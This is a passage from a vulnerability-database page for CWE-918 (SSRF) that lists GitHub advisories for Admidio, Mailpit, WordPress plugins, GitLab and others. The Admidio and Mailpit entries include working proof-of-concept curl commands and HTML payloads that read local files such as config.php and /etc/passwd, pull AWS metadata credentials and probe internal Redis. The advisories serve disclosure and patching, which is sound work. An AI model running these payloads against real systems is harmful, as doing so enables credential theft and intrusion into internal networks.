CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4719 vulnerabilities reference this CWE, most recent first.
GHSA-6J3Q-G2MV-78P6
Vulnerability from github – Published: 2025-10-12 15:30 – Updated: 2025-10-12 15:30A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-11636"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-12T15:15:59Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-6j3q-g2mv-78p6",
"modified": "2025-10-12T15:30:16Z",
"published": "2025-10-12T15:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11636"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.661361"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6J68-GCC3-MQ73
Vulnerability from github – Published: 2026-03-16 21:17 – Updated: 2026-03-20 21:19Summary
The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
Details
Vulnerable Code
File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
http_response_code(500);
echo "Failed to fetch metadata";
exit;
}
echo $metadata;
FILTER_VALIDATE_URL Does Not Block Dangerous Schemes
PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():
| Scheme | Impact |
|---|---|
file:///etc/passwd |
Read any local file the web server process can access |
http://127.0.0.1/ |
SSRF to localhost services (databases, admin panels, internal APIs) |
http://169.254.169.254/latest/meta-data/ |
AWS EC2 instance metadata (IAM credentials) |
data://text/plain,payload |
Data URI content injection |
Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:
php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd" <-- passes validation
php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash <-- file contents returned
file:// Does Not Require allow_url_fopen
PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
Response Is Returned Verbatim
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
PoC
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///var/www/html/adm_my_files/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
Impact
- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's
config.php(database credentials),/etc/passwd, private keys stored in the web root, and.envfiles. - Database Credential Theft: Reading
config.phpexposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
- Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
- Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.
Recommended Fix
Fix 1: Restrict to HTTPS scheme and block internal IP ranges
$rawUrl = $_GET['url'] ?? '';
// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
http_response_code(400);
echo "Only HTTPS URLs are permitted";
exit;
}
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
http_response_code(400);
echo "URL resolves to a private or reserved IP address";
exit;
}
$metadata = file_get_contents($url);
Fix 2: Use cURL with explicit scheme restriction
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.
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"last_known_affected_version_range": "\u003c= 5.0.6"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.7"
}
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"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32812"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T21:17:57Z",
"nvd_published_at": "2026-03-20T02:16:35Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET[\u0027url\u0027]`, validates it only with PHP\u0027s `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET[\u0027url\u0027], FILTER_VALIDATE_URL);\nif (!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n http_response_code(500);\n echo \"Failed to fetch metadata\";\n exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP\u0027s `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP\u0027s filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var(\u0027file:///etc/passwd\u0027, FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\" \u003c-- passes validation\n\nphp -r \"echo file_get_contents(\u0027file:///etc/passwd\u0027);\"\n// root:x:0:0:root:/root:/bin/bash \u003c-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP\u0027s `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio\u0027s `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET[\u0027url\u0027] ?? \u0027\u0027;\n\n// Only allow https:// scheme\nif (\\!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n http_response_code(400);\n echo \"Only HTTPS URLs are permitted\";\n exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n http_response_code(400);\n echo \"URL resolves to a private or reserved IP address\";\n exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
"id": "GHSA-6j68-gcc3-mq73",
"modified": "2026-03-20T21:19:19Z",
"published": "2026-03-16T21:17:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32812"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint"
}
GHSA-6J8P-3593-JQMG
Vulnerability from github – Published: 2025-11-27 12:30 – Updated: 2025-11-27 12:30The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-13378"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-27T10:15:50Z",
"severity": "MODERATE"
},
"details": "The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6j8p-3593-jqmg",
"modified": "2025-11-27T12:30:28Z",
"published": "2025-11-27T12:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13378"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3483"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/admin/class-chatgpt-assistant-admin.php#L3483"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/includes/class-chatgpt-assistant.php#L222"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3402237/ays-chatgpt-assistant/tags/2.7.1/admin/class-chatgpt-assistant-admin.php?old=3382650\u0026old_path=ays-chatgpt-assistant%2Ftags%2F2.6.9%2Fadmin%2Fclass-chatgpt-assistant-admin.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/293ad145-dc93-4d7a-83ba-78f8c730ed6d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JH8-HGQ7-7VXP
Vulnerability from github – Published: 2024-08-17 09:30 – Updated: 2024-08-17 09:30The Skitter Slideshow plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.2 via the /image.php file. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2022-1751"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-17T08:15:04Z",
"severity": "HIGH"
},
"details": "The Skitter Slideshow plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.2 via the /image.php file. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6jh8-hgq7-7vxp",
"modified": "2024-08-17T09:30:23Z",
"published": "2024-08-17T09:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1751"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-skitter-slideshow/trunk/image.php"
},
{
"type": "WEB",
"url": "https://securityforeveryone.com/blog/wordpress-skitter-slideshow-ssrf-0-day-vulnerability-cve-2022-1751"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/175eba7e-454b-4ba3-bbb5-22bd56734f5c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JPW-PQ5V-3X7W
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited
{
"affected": [],
"aliases": [
"CVE-2021-22214"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-08T15:15:00Z",
"severity": "HIGH"
},
"details": "When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited",
"id": "GHSA-6jpw-pq5v-3x7w",
"modified": "2022-05-24T19:04:20Z",
"published": "2022-05-24T19:04:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22214"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1110131"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22214.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/322926"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6JW2-RV23-6VMG
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to manipulate server-side requests and bypass security controls allowing unauthorized read access.
{
"affected": [],
"aliases": [
"CVE-2025-54249"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:15:58Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to manipulate server-side requests and bypass security controls allowing unauthorized read access.",
"id": "GHSA-6jw2-rv23-6vmg",
"modified": "2025-09-09T18:31:21Z",
"published": "2025-09-09T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54249"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-90.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JXM-FV7W-RW5J
Vulnerability from github – Published: 2026-01-21 01:01 – Updated: 2026-02-02 14:50Server-Side Request Forgery (SSRF) via HTML Check CSS Download
The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.
Affected Components
- Primary File:
internal/htmlcheck/css.go(lines 132-207) - API Endpoint:
/api/v1/message/{ID}/html-check - Handler:
server/apiv1/other.go(lines 38-75) - Vulnerable Functions:
inlineRemoteCSS()- line 132downloadToBytes()- line 193isURL()- line 221
Technical Details
1. Insufficient URL Validation (isURL() function):
// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}
2. Unrestricted Download (downloadToBytes() function):
// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
client := http.Client{
Timeout: 5 * time.Second,
}
// Get the link response data
resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation
if err != nil {
return nil, err
}
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode != 200 {
err := fmt.Errorf("error downloading %s", url)
return nil, err
}
body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response
if err != nil {
return nil, err
}
return body, nil
}
3. Automatic CSS Processing:
// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
reader := strings.NewReader(h)
doc, err := goquery.NewDocumentFromReader(reader)
if err != nil {
return h, err
}
remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
for _, link := range remoteCSS {
attributes := link.Attr
for _, a := range attributes {
if a.Key == "href" {
if !isURL(a.Val) { // ⚠️ Insufficient validation
continue
}
if config.BlockRemoteCSSAndFonts {
logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
return h, nil
}
resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL
if err != nil {
logger.Log().Warnf("[html-check] failed to download %s", a.Val)
continue
}
// Inlines the downloaded CSS
styleBlock := &html.Node{
Type: html.ElementNode,
Data: "style",
DataAtom: atom.Style,
}
styleBlock.AppendChild(&html.Node{
Type: html.TextNode,
Data: string(resp), // Downloaded content inserted
})
link.Parent.AppendChild(styleBlock)
}
}
}
return doc.Html()
}
Attack Vectors
Attack Vector 1: Cloud Metadata Credential Theft
Attacker sends HTML email with:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>
When HTML check is triggered: 1. Mailpit makes GET request to AWS metadata endpoint 2. Downloads IAM credentials as "CSS content" 3. Credentials logged or potentially leaked via error messages
Proof of Concept
A complete working exploit is provided in ssrf_htmlcheck_poc.py.
PoC Usage:
# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025
# Run the exploit
python3 ssrf_htmlcheck_poc.py
PoC Workflow:
- Starts SSRF listener on port 8888 to detect callbacks
- Sends malicious HTML emails containing:
html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/"> - Triggers HTML check via API:
GET /api/v1/message/{ID}/html-check - Monitors callbacks and analyzes responses
- Demonstrates exploitation of:
- Local listener (proves SSRF)
- Cloud metadata endpoints
- Internal services (Redis, etc.)
- Private network ranges
Expected Output:
╔══════════════════════════════════════════════════════════════════════════════╗
║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║
║ Severity: MODERATE ║
║ File: internal/htmlcheck/css.go:193-207 ║
╚══════════════════════════════════════════════════════════════════════════════╝
[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...
================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)
[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -
[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
Path: /malicious.css
User-Agent: Mailpit/dev
================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================
⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection
[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow
Manual Testing:
```bash
1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText
html = ''' <!DOCTYPE html>
Test'''
msg = MIMEText(html, 'html') msg['Subject'] = 'SSRF Test' msg['From'] = 'test@test.com' msg['To'] = 'victim@test.com'
with smtplib.SMTP('localhost', 1025) as smtp: smtp.send_message(msg) SENDMAIL EOF
2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')
3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.28.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23845"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:01:26Z",
"nvd_published_at": "2026-01-19T19:16:04Z",
"severity": "MODERATE"
},
"details": "### Server-Side Request Forgery (SSRF) via HTML Check CSS Download\n\nThe HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `\u003clink rel=\"stylesheet\" href=\"...\"\u003e` tags to inline them for testing. \n\n\n#### Affected Components\n\n- **Primary File:** `internal/htmlcheck/css.go` (lines 132-207)\n- **API Endpoint:** `/api/v1/message/{ID}/html-check`\n- **Handler:** `server/apiv1/other.go` (lines 38-75)\n- **Vulnerable Functions:**\n - `inlineRemoteCSS()` - line 132\n - `downloadToBytes()` - line 193\n - `isURL()` - line 221\n\n#### Technical Details\n\n**1. Insufficient URL Validation (`isURL()` function):**\n\n```go\n// internal/htmlcheck/css.go:221-224\nfunc isURL(str string) bool {\n u, err := url.Parse(str)\n return err == nil \u0026\u0026 (u.Scheme == \"http\" || u.Scheme == \"https\") \u0026\u0026 u.Host != \"\"\n}\n```\n\n\n**2. Unrestricted Download (`downloadToBytes()` function):**\n\n```go\n// internal/htmlcheck/css.go:193-207\nfunc downloadToBytes(url string) ([]byte, error) {\n client := http.Client{\n Timeout: 5 * time.Second,\n }\n\n // Get the link response data\n resp, err := client.Get(url) // \u26a0\ufe0f VULNERABLE - No IP validation\n if err != nil {\n return nil, err\n }\n defer func() { _ = resp.Body.Close() }()\n\n if resp.StatusCode != 200 {\n err := fmt.Errorf(\"error downloading %s\", url)\n return nil, err\n }\n\n body, err := io.ReadAll(resp.Body) // \u26a0\ufe0f Downloads ENTIRE response\n if err != nil {\n return nil, err\n }\n\n return body, nil\n}\n```\n\n**3. Automatic CSS Processing:**\n\n```go\n// internal/htmlcheck/css.go:132-187\nfunc inlineRemoteCSS(h string) (string, error) {\n reader := strings.NewReader(h)\n doc, err := goquery.NewDocumentFromReader(reader)\n if err != nil {\n return h, err\n }\n\n remoteCSS := doc.Find(\"link[rel=\\\"stylesheet\\\"]\").Nodes\n for _, link := range remoteCSS {\n attributes := link.Attr\n for _, a := range attributes {\n if a.Key == \"href\" {\n if !isURL(a.Val) { // \u26a0\ufe0f Insufficient validation\n continue\n }\n\n if config.BlockRemoteCSSAndFonts {\n logger.Log().Debugf(\"[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)\", a.Val)\n return h, nil\n }\n\n resp, err := downloadToBytes(a.Val) // \u26a0\ufe0f Downloads from ANY URL\n if err != nil {\n logger.Log().Warnf(\"[html-check] failed to download %s\", a.Val)\n continue\n }\n\n // Inlines the downloaded CSS\n styleBlock := \u0026html.Node{\n Type: html.ElementNode,\n Data: \"style\",\n DataAtom: atom.Style,\n }\n styleBlock.AppendChild(\u0026html.Node{\n Type: html.TextNode,\n Data: string(resp), // Downloaded content 